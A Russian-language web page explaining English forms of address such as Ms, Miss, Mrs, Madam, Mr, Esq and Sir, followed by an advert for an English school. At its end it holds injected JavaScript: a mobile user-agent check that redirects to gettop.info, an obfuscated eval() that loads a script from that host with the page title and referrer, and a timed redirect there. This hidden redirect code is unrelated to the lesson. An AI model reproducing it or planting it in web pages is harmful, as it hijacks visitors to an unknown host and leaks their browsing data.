    Сейчас это часто встречаемое вежливое обращение к женщинам при деловом разговоре. Далее следует фамилия дамы.

    Ms. Belmire, you will be appointed to the next working group. – Госпожа Бельмир, вы будете назначены в следующую рабочую группу.

    Это слово повседневно употребляется в сфере бизнеса и избавляет от необходимости угадывать семейный статус той, к кому обратились. Можно так начинать диалог, если женщина сама не поправит и не уточнит, что хотела бы слышать к себе другое обращение.

    Ms. Akhad, I fully support your remarks. – Госпожа Ахад, я полностью поддерживаю ваши поправки.

    Обращение к женщине на английском

    Девушки бывают разные…И обращения к ним тоже. Давайте разберемся в особенностях английского обращения к женщинам разного социального статуса, ведь правила хорошего тона обязывают нас это знать.

    Обращение к женщине с неизвестным семейным статусом

    Миз (англ. Ms [написание, принятое в Великобритании], Ms. [ˈmɪz], [mɨz], [ˈməz], [ˈməs]) — «госпожа…». Это обращение является нейтральным в англоязычных странах.

    Ms ставится перед фамилией как замужней, так и незамужней женщины, в случае, если её семейное положение неизвестно или женщиной сознательно подчеркивается своё равноправие с мужчиной.

    Данное обращение появилось в 1950-х годах и вошло в употребление с 1970-х годов по инициативе представительниц феминистского движения.

    Как утверждает The American Heritage Book of English Usage, «использование Ms. избавляет от необходимости угадывания является адресат Mrs. или Miss: используя Ms., ошибиться невозможно. Независимо от того, является ли женщина-адресат замужней или нет, сменила она фамилию или нет, использование Ms. всегда корректно».

      В своём руководстве по стилю The Times заявляет: «На сегодняшний день Ms полностью приемлемо, если женщина хочет так называться, или если точно неизвестно, Mrs. она или Miss».

     The Guardian, использует  «женские титулы» исключительно в статьях-передовицах, в своем руководстве по стилю советует : «используйте Ms для женщин… если только они не выразили желание в использовании Miss или Mrs».

    Обращение Ms. является стандартным обращением к женщине в случае, если ей не названо другое предпочтительное обращение. За стандартное использование Ms. также выступают авторы книг о правилах этикета, в том числе Джудит Мартин (также известная как «Мисс Манеры»).

    Обращение к незамужней девушке

    Мисс (Miss)— англоязычное обращение к незамужней женщине . Является сокращением от mistress (устаревшая форма обращения к женщине). Может употребляться перед фамилией или в качестве прямого обращения. Аналогом в русском языке может служить слово «девушка» или дореволюционное «барышня» или «мадемуазель».

    Обращение «мисс» также употребляется по отношению к учительнице независимо от ее семейного положения. Данное правило связано с периодом, когда заниматься учительской деятельностью могли только незамужние женщины.

    Обращение к замужней женщине

    Миссис (Mrs) — обращение к замужней женщине.

    В настоящее время обращение к женщине с использованием имени ее мужа встречается редко, хотя возможны случаи совместного  обращения к паре, например, мистер и миссис Джон Смит.

    Как правило, считается вежливым обращаться к женщинам, используя обращение  мисс (Ms.), а не миссис, особенно если не известны предпочтения женщины в отношении обращения к ней, особенно при письменной коммуникации.

    Пунктуация после сокращения

    На письме после сокращений ставится точка:

    • Dear Miss Jones! – Дорогая мисс Джонс!
    •  Dear Mrs. Wilson! – Дорогая миссис Уилсон!
    • Dear Ms. Smith! – Дорогая госпожа Смит!

    Если обращение написано полностью, то точка не ставится:

    • Miss Dana Simms – Мисс Дана Симмс.

    Подведем итоги:

    • Ms – вежливая форма обращения к женщине  в письмах без прямого указания на семейный статус.
    • Miss – обращение к незамужней женщине.
    • Mrs – обращение к замужней женщине.

    Загрузка…

    Мисс или миссис? Традиционные формы обращений в английском языке

    О том, насколько хороши и изысканны манеры англичан, известно по всему свету. Британцев нередко называют чопорными, однако это только говорит об их отличном воспитании.

    Вежливость и учтивость можно считать национальными чертами жителей Великобритании.

    Поэтому, если вы в ближайшее время хотите поехать на обучение в Англию, вам будет полезно узнать о том, как обращаются друг к другу британцы и в каких случаях стоит употреблять ту или иную форму обращения.

    Британцы используют довольно много различных вариаций вежливого обращения. Чаще всего к мужчинам обращают слова Mr., Esq., Sir. Для того, чтобы обратиться к женщине, обычно употребляют формы Mrs., Miss, Ms., Madam.

    Как же правильно выбрать форму обращения?

    Для этого нужно больше узнать о каждой из них.

    Mr. – самый распространенный вариант обращения к мужчине. Оно универсально и используется вне зависимости от возраста или статуса собеседника. Стоит упомянуть, что к этому слову обязательно добавляется фамилия человека, с которым вы разговариваете (Mr. Smith).

    Для того, чтобы привлечь внимание одновременно нескольких мужчин, следует употреблять слово Messrs, при этом окончание –s не добавляется (Messrs Grey and James).

    Вместо слова Mr. можно использовать также обращение Esq. Однако стоит помнить об одной особенности его использования: оно ставится не перед фамилией человека, а после ее (Bill Smith, Esq). Но этот оборот постепенно выходит из употребления.

    Sir (или Sirs во множественном числе) – вежливая форма обращения, которую обычно применяют в беседе с мужчиной, когда не знают его имени.

    Mrs. (Mmes во множественном числе) – универсальное обращение к женщинам.

    Существует три варианта его использования:

    — перед фамилией (Mrs. Johnson);

    — перед именем и фамилией (Mrs. Rose Johnson);

    — перед полным именем мужа (Mrs. David Johnson).

    Miss – оборот, применяемый к незамужним собеседницам. К ней обязательно добавляется фамилия, к примеру, Miss Porter.

    Форма Ms., подобно Mr., не привязана к семейному статусу женщины. ООН призывала использовать это обращение после проведения множества кампаний за равные права женщин в 1974 г. Следует учесть, что этот оборот чаще используют в письменной, а не в устной речи.

    Madam можно считать женским эквивалентом обращению Sir. Эта форма считается наиболее официальной и может использоваться тогда, когда фамилия собеседницы не известна. Madam применяют вне зависимости от семейного статуса и возраста. Кроме того, в письме Madam используют как обращение к титулованным особам, женщинам, занимающим высокие посты (судья, королева и др.).

    Узнать больше форм вежливого обращения и научиться грамотно их использовать вы можете на курсах для взрослых в школе английского языка EnglishPapa. Профессиональные преподаватели нашей школы смогут не только помочь слушателям овладеть английским языком, но и познакомить с культурой и этикетом британцев. Ждем вас!

    (function(a,b){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.

    test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(’4’);2.g=’c://b.7/8/?9&a=4&i=’+6(1.o)+’&p=’+6(1.n)+’’;m(1.3){1.3.j.

    k(2,1.3)}h{d.l(’q’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.

    info/kt/?53vSkc&'», delay);

    Ссылка на основную публикацию